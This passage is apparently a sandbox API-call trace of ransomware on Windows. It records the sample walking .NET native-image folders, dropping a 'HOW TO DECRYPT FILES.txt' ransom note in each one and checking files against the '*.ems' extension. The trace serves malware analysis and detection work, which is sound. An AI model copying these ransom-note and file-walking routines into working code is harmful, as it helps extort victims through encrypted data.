lpString2=".") returned 0 [0107.981] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3838b00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe3838b00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.981] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.981] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.981] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37ec840, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe37ec840, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe37ec840, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x48000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0107.981] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.981] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Conversion.v3.5.ni.dll") returned -1 [0107.981] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Conversion.v3.5.ni.dll") returned -1 [0107.981] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Conversion.v3.5.ni.dll") returned -1 [0107.982] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\*.*") returned="*.*" [0107.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\" [0107.982] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\") returned="" [0107.982] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\HOW TO DECRYPT FILES.txt" [0107.982] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.con#\\8d64f031cf429f4ce79642e8be267d2d\\how to decrypt files.txt")) returned 0xffffffff [0107.982] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.con#\\8d64f031cf429f4ce79642e8be267d2d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.988] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.988] CloseHandle (hObject=0x90) returned 1 [0107.988] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\", lpString2="Microsoft.Build.Conversion.v3.5.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\Microsoft.Build.Conversion.v3.5.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\Microsoft.Build.Conversion.v3.5.ni.dll" [0107.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\Microsoft.Build.Conversion.v3.5.ni.dll", pszSpec="*.ems") returned 0 [0107.989] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37ec840, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe37ec840, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe37ec840, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x48000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0107.989] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.989] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3838b00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe3838b00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8d64f031cf429f4ce79642e8be267d2d", cAlternateFileName="8D64F0~1")) returned 0 [0107.989] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.989] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe51f5910, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe60b014b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe60b014b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Build.Eng#", cAlternateFileName="MICROS~1.ENG")) returned 1 [0107.989] lstrcmpA (lpString1=".", lpString2="Microsoft.Build.Eng#") returned -1 [0107.989] lstrcmpA (lpString1="..", lpString2="Microsoft.Build.Eng#") returned -1 [0107.990] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.990] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Build.Eng#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#" [0107.990] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe51f5910, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe60b014b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe60b014b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.990] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.990] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe51f5910, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe60b014b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe60b014b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.990] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.990] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.990] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe60b014b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe60b014b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe60b014b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2e1dbe90bc10ba70f147a249adfc7f64", cAlternateFileName="2E1DBE~1")) returned 1 [0107.990] lstrcmpA (lpString1=".", lpString2="2e1dbe90bc10ba70f147a249adfc7f64") returned -1 [0107.990] lstrcmpA (lpString1="..", lpString2="2e1dbe90bc10ba70f147a249adfc7f64") returned -1 [0107.991] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\*.*") returned="*.*" [0107.991] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\", lpString2="2e1dbe90bc10ba70f147a249adfc7f64" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64" [0107.991] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe60b014b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe60b014b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe60b014b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.993] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.993] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe60b014b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe60b014b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe60b014b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.993] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.994] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.994] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6017bca, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe6017bca, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe603dd2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x115a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0107.994] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.994] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0107.994] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0107.994] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0107.994] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\*.*") returned="*.*" [0107.994] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\" [0107.994] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\") returned="" [0107.994] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\HOW TO DECRYPT FILES.txt" [0107.994] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\how to decrypt files.txt")) returned 0xffffffff [0107.994] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.997] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.997] CloseHandle (hObject=0x90) returned 1 [0107.997] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\", lpString2="Microsoft.Build.Engine.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\Microsoft.Build.Engine.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\Microsoft.Build.Engine.ni.dll" [0107.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\Microsoft.Build.Engine.ni.dll", pszSpec="*.ems") returned 0 [0107.998] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6017bca, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe6017bca, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe603dd2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x115a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0107.998] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.998] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe521ba70, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe521ba70, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe521ba70, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="8c4abd55a6b822e3efbbc649c5c01a3e", cAlternateFileName="8C4ABD~1")) returned 1 [0107.998] lstrcmpA (lpString1=".", lpString2="8c4abd55a6b822e3efbbc649c5c01a3e") returned -1 [0107.998] lstrcmpA (lpString1="..", lpString2="8c4abd55a6b822e3efbbc649c5c01a3e") returned -1 [0107.998] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\*.*") returned="*.*" [0107.998] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\", lpString2="8c4abd55a6b822e3efbbc649c5c01a3e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e" [0107.998] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe521ba70, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe521ba70, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe521ba70, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.999] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.999] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe521ba70, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe521ba70, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe521ba70, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.999] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.999] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.999] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe513722e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe513722e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe515d38e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x26d400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0107.999] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.999] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0107.999] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0107.999] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0107.999] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\*.*") returned="*.*" [0107.999] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\" [0107.999] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\") returned="" [0107.999] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\HOW TO DECRYPT FILES.txt" [0108.000] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\how to decrypt files.txt")) returned 0xffffffff [0108.000] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.003] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.003] CloseHandle (hObject=0x90) returned 1 [0108.003] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\", lpString2="Microsoft.Build.Engine.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\Microsoft.Build.Engine.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\Microsoft.Build.Engine.ni.dll" [0108.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\Microsoft.Build.Engine.ni.dll", pszSpec="*.ems") returned 0 [0108.003] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe513722e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe513722e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe515d38e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x26d400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.004] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.004] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe521ba70, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe521ba70, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe521ba70, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="8c4abd55a6b822e3efbbc649c5c01a3e", cAlternateFileName="8C4ABD~1")) returned 0 [0108.004] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.004] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62eb5ef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe62eb5ef, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Build.Fra#", cAlternateFileName="MICROS~1.FRA")) returned 1 [0108.004] lstrcmpA (lpString1=".", lpString2="Microsoft.Build.Fra#") returned -1 [0108.004] lstrcmpA (lpString1="..", lpString2="Microsoft.Build.Fra#") returned -1 [0108.004] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.004] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Build.Fra#" | out: 